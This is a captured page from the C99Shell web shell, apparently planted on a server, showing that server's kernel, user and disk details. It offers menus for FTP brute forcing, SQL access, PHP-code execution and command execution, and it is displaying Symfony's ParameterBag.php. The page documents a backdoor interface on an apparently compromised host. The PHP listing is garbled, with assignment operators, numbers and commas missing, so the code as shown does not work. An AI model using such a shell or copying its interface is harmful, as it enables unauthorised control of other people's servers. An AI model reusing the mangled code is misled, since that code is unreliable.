!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/Symfony/Component/DependencyInjection/ParameterBag/   drwxr-xr-x
Free 83.26 GB of 96.73 GB (86.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ParameterBag.php (7.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DependencyInjection\ParameterBag;

use 
Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException;
use 
Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException;
use 
Symfony\Component\DependencyInjection\Exception\RuntimeException;

/**
 * Holds parameters.
 *
 * @author Fabien Potencier <[email protected]>
 */
class ParameterBag implements ParameterBagInterface
{
    protected 
$parameters = [];
    protected 
$resolved false;

    public function 
__construct(array $parameters = [])
    {
        
$this->add($parameters);
    }

    
/**
     * {@inheritdoc}
     */
    
public function clear()
    {
        
$this->parameters = [];
    }

    
/**
     * {@inheritdoc}
     */
    
public function add(array $parameters)
    {
        foreach (
$parameters as $key => $value) {
            
$this->set($key$value);
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function all()
    {
        return 
$this->parameters;
    }

    
/**
     * {@inheritdoc}
     */
    
public function get(string $name)
    {
        if (!\
array_key_exists($name$this->parameters)) {
            if (!
$name) {
                throw new 
ParameterNotFoundException($name);
            }

            
$alternatives = [];
            foreach (
$this->parameters as $key => $parameterValue) {
                
$lev levenshtein($name$key);
                if (
$lev <= \strlen($name) / || str_contains($key$name)) {
                    
$alternatives[] = $key;
                }
            }

            
$nonNestedAlternative null;
            if (!\
count($alternatives) && str_contains($name'.')) {
                
$namePartsLength array_map('strlen'explode('.'$name));
                
$key substr($name0, -* (array_pop($namePartsLength)));
                while (\
count($namePartsLength)) {
                    if (
$this->has($key)) {
                        if (\
is_array($this->get($key))) {
                            
$nonNestedAlternative $key;
                        }
                        break;
                    }

                    
$key substr($key0, -* (array_pop($namePartsLength)));
                }
            }

            throw new 
ParameterNotFoundException($namenullnullnull$alternatives$nonNestedAlternative);
        }

        return 
$this->parameters[$name];
    }

    
/**
     * {@inheritdoc}
     */
    
public function set(string $name$value)
    {
        
$this->parameters[$name] = $value;
    }

    
/**
     * {@inheritdoc}
     */
    
public function has(string $name)
    {
        return \
array_key_exists($name$this->parameters);
    }

    
/**
     * {@inheritdoc}
     */
    
public function remove(string $name)
    {
        unset(
$this->parameters[$name]);
    }

    
/**
     * {@inheritdoc}
     */
    
public function resolve()
    {
        if (
$this->resolved) {
            return;
        }

        
$parameters = [];
        foreach (
$this->parameters as $key => $value) {
            try {
                
$value $this->resolveValue($value);
                
$parameters[$key] = $this->unescapeValue($value);
            } catch (
ParameterNotFoundException $e) {
                
$e->setSourceKey($key);

                throw 
$e;
            }
        }

        
$this->parameters $parameters;
        
$this->resolved true;
    }

    
/**
     * Replaces parameter placeholders (%name%) by their values.
     *
     * @param mixed $value     A value
     * @param array $resolving An array of keys that are being resolved (used internally to detect circular references)
     *
     * @return mixed
     *
     * @throws ParameterNotFoundException          if a placeholder references a parameter that does not exist
     * @throws ParameterCircularReferenceException if a circular reference if detected
     * @throws RuntimeException                    when a given parameter has a type problem
     */
    
public function resolveValue($value, array $resolving = [])
    {
        if (\
is_array($value)) {
            
$args = [];
            foreach (
$value as $k => $v) {
                
$args[\is_string($k) ? $this->resolveValue($k$resolving) : $k] = $this->resolveValue($v$resolving);
            }

            return 
$args;
        }

        if (!\
is_string($value) || > \strlen($value)) {
            return 
$value;
        }

        return 
$this->resolveString($value$resolving);
    }

    
/**
     * Resolves parameters inside a string.
     *
     * @param array $resolving An array of keys that are being resolved (used internally to detect circular references)
     *
     * @return mixed
     *
     * @throws ParameterNotFoundException          if a placeholder references a parameter that does not exist
     * @throws ParameterCircularReferenceException if a circular reference if detected
     * @throws RuntimeException                    when a given parameter has a type problem
     */
    
public function resolveString(string $value, array $resolving = [])
    {
        
// we do this to deal with non string values (Boolean, integer, ...)
        // as the preg_replace_callback throw an exception when trying
        // a non-string in a parameter value
        
if (preg_match('/^%([^%\s]+)%$/'$value$match)) {
            
$key $match[1];

            if (isset(
$resolving[$key])) {
                throw new 
ParameterCircularReferenceException(array_keys($resolving));
            }

            
$resolving[$key] = true;

            return 
$this->resolved $this->get($key) : $this->resolveValue($this->get($key), $resolving);
        }

        return 
preg_replace_callback('/%%|%([^%\s]+)%/', function ($match) use ($resolving$value) {
            
// skip %%
            
if (!isset($match[1])) {
                return 
'%%';
            }

            
$key $match[1];
            if (isset(
$resolving[$key])) {
                throw new 
ParameterCircularReferenceException(array_keys($resolving));
            }

            
$resolved $this->get($key);

            if (!\
is_string($resolved) && !is_numeric($resolved)) {
                throw new 
RuntimeException(sprintf('A string value must be composed of strings and/or numbers, but found parameter "%s" of type "%s" inside string value "%s".'$keyget_debug_type($resolved), $value));
            }

            
$resolved = (string) $resolved;
            
$resolving[$key] = true;

            return 
$this->isResolved() ? $resolved $this->resolveString($resolved$resolving);
        }, 
$value);
    }

    public function 
isResolved()
    {
        return 
$this->resolved;
    }

    
/**
     * {@inheritdoc}
     */
    
public function escapeValue($value)
    {
        if (\
is_string($value)) {
            return 
str_replace('%''%%'$value);
        }

        if (\
is_array($value)) {
            
$result = [];
            foreach (
$value as $k => $v) {
                
$result[$k] = $this->escapeValue($v);
            }

            return 
$result;
        }

        return 
$value;
    }

    
/**
     * {@inheritdoc}
     */
    
public function unescapeValue($value)
    {
        if (\
is_string($value)) {
            return 
str_replace('%%''%'$value);
        }

        if (\
is_array($value)) {
            
$result = [];
            foreach (
$value as $k => $v) {
                
$result[$k] = $this->unescapeValue($v);
            }

            return 
$result;
        }

        return 
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0052 ]--